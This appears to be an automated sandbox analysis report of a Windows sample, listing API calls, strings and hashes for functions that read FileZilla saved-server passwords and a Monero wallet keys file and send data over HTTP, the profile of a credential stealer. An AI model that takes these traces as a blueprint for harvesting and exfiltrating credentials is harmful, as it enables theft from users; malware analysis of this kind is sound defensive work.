Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID: @$x
API String ID: 928082926-272560465
Opcode ID: fdac8935b30d0f44338f94e987aace669832ee5f7ac01006e9e898a3ad027660
Instruction ID: aafb04e37480c7322beaa371dba725535a1f07db44e35d33984d3ff7924b1b56
Opcode Fuzzy Hash: fdac8935b30d0f44338f94e987aace669832ee5f7ac01006e9e898a3ad027660
Instruction Fuzzy Hash: 2D3261B6C10318ABDB51FBA0DC85DEA733CBB44704F444A98F219A2180EE75E799CF65

Function 00290250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 00298DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00298E0B

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Part of subcall function 002899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002899EC
Part of subcall function 002899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00289A11
Part of subcall function 002899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00289A31
Part of subcall function 002899C0: ReadFile.KERNEL32(000000FF,?,00000000,0028148F,00000000), ref: 00289A5A
Part of subcall function 002899C0: LocalFree.KERNEL32(0028148F), ref: 00289A90
Part of subcall function 002899C0: CloseHandle.KERNEL32(000000FF), ref: 00289A9A

Part of subcall function 00298E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00298E52

GetProcessHeap.KERNEL32(00000000,000F423F,002A0DBA,002A0DB7,002A0DB6,002A0DB3), ref: 00290362
RtlAllocateHeap.NTDLL(00000000), ref: 00290369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00290385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002A0DB2), ref: 00290393
StrStrA.SHLWAPI(00000000,<Port>), ref: 002903CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002A0DB2), ref: 002903DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00290419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002A0DB2), ref: 00290427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00290463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002A0DB2), ref: 00290475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002A0DB2), ref: 00290502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002A0DB2), ref: 0029051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002A0DB2), ref: 00290532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002A0DB2), ref: 0029054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00290562
lstrcat.KERNEL32(?,profile: null), ref: 00290571
lstrcat.KERNEL32(?,url: ), ref: 00290580
lstrcat.KERNEL32(?,00000000), ref: 00290593
lstrcat.KERNEL32(?,002A1678), ref: 002905A2
lstrcat.KERNEL32(?,00000000), ref: 002905B5
lstrcat.KERNEL32(?,002A167C), ref: 002905C4
lstrcat.KERNEL32(?,login: ), ref: 002905D3
lstrcat.KERNEL32(?,00000000), ref: 002905E6
lstrcat.KERNEL32(?,002A1688), ref: 002905F5
lstrcat.KERNEL32(?,password: ), ref: 00290604
lstrcat.KERNEL32(?,00000000), ref: 00290617
lstrcat.KERNEL32(?,002A1698), ref: 00290626
lstrcat.KERNEL32(?,002A169C), ref: 00290635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002A0DB2), ref: 0029068E

Strings

url: , xrefs: 00290577
<Host>, xrefs: 0029037C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 002902A4
<Port>, xrefs: 002903C6
browser: FileZilla, xrefs: 00290559
<Pass encoding="base64">, xrefs: 0029045A
profile: null, xrefs: 00290568
<User>, xrefs: 00290410
login: , xrefs: 002905CA
password: , xrefs: 002905FB

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: ea0466fe3fe2d3895ce93e89364d1205427d163b603dafdb637d7bf316c90977
Instruction ID: bb43731e7fa534bb087f265b0df8e014dce0b1253e233e329da2fd2f265261dd
Opcode Fuzzy Hash: ea0466fe3fe2d3895ce93e89364d1205427d163b603dafdb637d7bf316c90977
Instruction Fuzzy Hash: D4D11D72920208ABCF04FBF4DD96EEE7378BF15700F544518F506A6091DE74AA26CFA6

Function 00285100 Relevance: 53.1, APIs: 19, Strings: 11, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Part of subcall function 002847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00284839
Part of subcall function 002847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00284849

lstrlen.KERNEL32(00000000), ref: 00285193

Part of subcall function 00298EA0: CryptBinaryToStringA.CRYPT32(00000000,00285184,40000001,00000000,00000000,?,00285184), ref: 00298EC0

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00285207
StrCmpCA.SHLWAPI(?,00E4E550), ref: 00285225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00285340
HttpOpenRequestA.WININET(00000000,00E4E580,?,00E4DC68,00000000,00000000,00400100,00000000), ref: 002853A4

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,00E4E440,00000000,?,00E4A098,00000000,?,002A19DC,00000000,?,002951CF), ref: 00285737
lstrlen.KERNEL32(00000000), ref: 0028574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0028575C
RtlAllocateHeap.NTDLL(00000000), ref: 00285763
lstrlen.KERNEL32(00000000), ref: 00285778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 002857A9
lstrlen.KERNEL32(00000000), ref: 002857C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 002857E1
lstrlen.KERNEL32(00000000,?,?), ref: 0028580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00285822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0028584D
InternetCloseHandle.WININET(00000000), ref: 002858B1
InternetCloseHandle.WININET(00000000), ref: 002858BE
InternetCloseHandle.WININET(00000000), ref: 002858C8

Strings

------, xrefs: 0028563B
------, xrefs: 002854F9
`, xrefs: 00285458
P, xrefs: 00285217
", xrefs: 00285482
@, xrefs: 002856DC
------, xrefs: 00285297
--, xrefs: 00285280
", xrefs: 00285706
------, xrefs: 002853B7
", xrefs: 002855C4

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------$@$P$`
API String ID: 1224485577-3429227323
Opcode ID: 9dbadf8d635063606ad3623bcf885d719240dd6f0d3cdf224563e057d278be6e
Instruction ID: b324b12824a33948907db1ca2c3ebab18082551bd63c55f61dc45659370ca554
Opcode Fuzzy Hash: 9dbadf8d635063606ad3623bcf885d719240dd6f0d3cdf224563e057d278be6e
Instruction Fuzzy Hash: 7732E471931228ABDF15EBA0DC96FEEB378BF54700F4041A9F10662091DF706A69CF96

Function 00285960 Relevance: 42.5, APIs: 17, Strings: 7, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Part of subcall function 002847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00284839
Part of subcall function 002847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00284849

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002859F8
StrCmpCA.SHLWAPI(?,00E4E550), ref: 00285A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00285B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00E4E510,00000000,?,00E4A098,00000000,?,002A1A1C), ref: 00285E71
lstrlen.KERNEL32(00000000), ref: 00285E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00285E93
RtlAllocateHeap.NTDLL(00000000), ref: 00285E9A
lstrlen.KERNEL32(00000000), ref: 00285EAF
lstrlen.KERNEL32(00000000), ref: 00285ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00285EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00285F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00285F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00285F4C
InternetCloseHandle.WININET(00000000), ref: 00285FB0
InternetCloseHandle.WININET(00000000), ref: 00285FBD
HttpOpenRequestA.WININET(00000000,00E4E580,?,00E4DC68,00000000,00000000,00400100,00000000), ref: 00285BF8

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

InternetCloseHandle.WININET(00000000), ref: 00285FC7

Strings

------, xrefs: 00285A96
P, xrefs: 00285A08
`, xrefs: 00285CAC
", xrefs: 00285E16
------, xrefs: 00285D4C
------, xrefs: 00285C0B
", xrefs: 00285CD5

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$P$`
API String ID: 874700897-1625437001
Opcode ID: 4dcc8e6692a06722c9dbaf6924d553a3f5937a632a710f53c963a94b63595a36
Instruction ID: 46fa335c062baaae19468b0bdf86c34c505e8707f73cd9e27a6c0db44db33e5c
Opcode Fuzzy Hash: 4dcc8e6692a06722c9dbaf6924d553a3f5937a632a710f53c963a94b63595a36
Instruction Fuzzy Hash: C812B471931228ABDF15EBA0DC96FEEB378BF14700F5041A9F10A62091DF706A69CF95

Function 0028A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0029AA70: StrCmpCA.SHLWAPI(00E48A50,0028A7A7,?,0028A7A7,00E48A50), ref: 0029AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0028AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0028AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0028ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0028A8B0

Part of subcall function 0029A820: lstrlen.KERNEL32(00284F05,?,?,00284F05,002A0DDE), ref: 0029A82B
Part of subcall function 0029A820: lstrcpy.KERNEL32(002A0DDE,00000000), ref: 0029A885

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

lstrcat.KERNEL32(?,00000000), ref: 0028ACEB
lstrcat.KERNEL32(?,002A1320), ref: 0028ACFA
lstrcat.KERNEL32(?,00000000), ref: 0028AD0D
lstrcat.KERNEL32(?,002A1324), ref: 0028AD1C
lstrcat.KERNEL32(?,00000000), ref: 0028AD2F
lstrcat.KERNEL32(?,002A1328), ref: 0028AD3E
lstrcat.KERNEL32(?,00000000), ref: 0028AD51
lstrcat.KERNEL32(?,002A132C), ref: 0028AD60
lstrcat.KERNEL32(?,00000000), ref: 0028AD73
lstrcat.KERNEL32(?,002A1330), ref: 0028AD82
lstrcat.KERNEL32(?,00000000), ref: 0028AD95
lstrcat.KERNEL32(?,002A1334), ref: 0028ADA4
lstrcat.KERNEL32(?,00000000), ref: 0028ADB7
lstrlen.KERNEL32(?), ref: 0028AE0D
lstrlen.KERNEL32(?), ref: 0028AE1C

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

DeleteFileA.KERNEL32(00000000), ref: 0028AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0028ABD4

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 8843f469d399e122b9e68cec22a6998410f20a809753b3358fe8bbd0bf191538
Instruction ID: 3d2fec93191aa9f902a0aa24c088aa4f70152985734fd661fe615a30014802d5
Opcode Fuzzy Hash: 8843f469d399e122b9e68cec22a6998410f20a809753b3358fe8bbd0bf191538
Instruction Fuzzy Hash: 36120E719302189BDF04FBA0DD96EEE7378BF14305F504169B507A6091DE34AE2ACFA6

Function 00284880 Relevance: 32.0, APIs: 11, Strings: 7, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Part of subcall function 002847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00284839
Part of subcall function 002847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00284849

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00284915
StrCmpCA.SHLWAPI(?,00E4E550), ref: 0028493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00284ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,002A0DDB,00000000,?,?,00000000,?,",00000000,?,00E4E590), ref: 00284DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00284E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00284E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00284E49
InternetCloseHandle.WININET(00000000), ref: 00284EAD
InternetCloseHandle.WININET(00000000), ref: 00284EC5
HttpOpenRequestA.WININET(00000000,00E4E580,?,00E4DC68,00000000,00000000,00400100,00000000), ref: 00284B15

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

InternetCloseHandle.WININET(00000000), ref: 00284ECF

Strings

------, xrefs: 00284C69
------, xrefs: 002849BD
P, xrefs: 0028492F
", xrefs: 00284D33
------, xrefs: 00284B28
0, xrefs: 00284BC9
", xrefs: 00284BF2

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
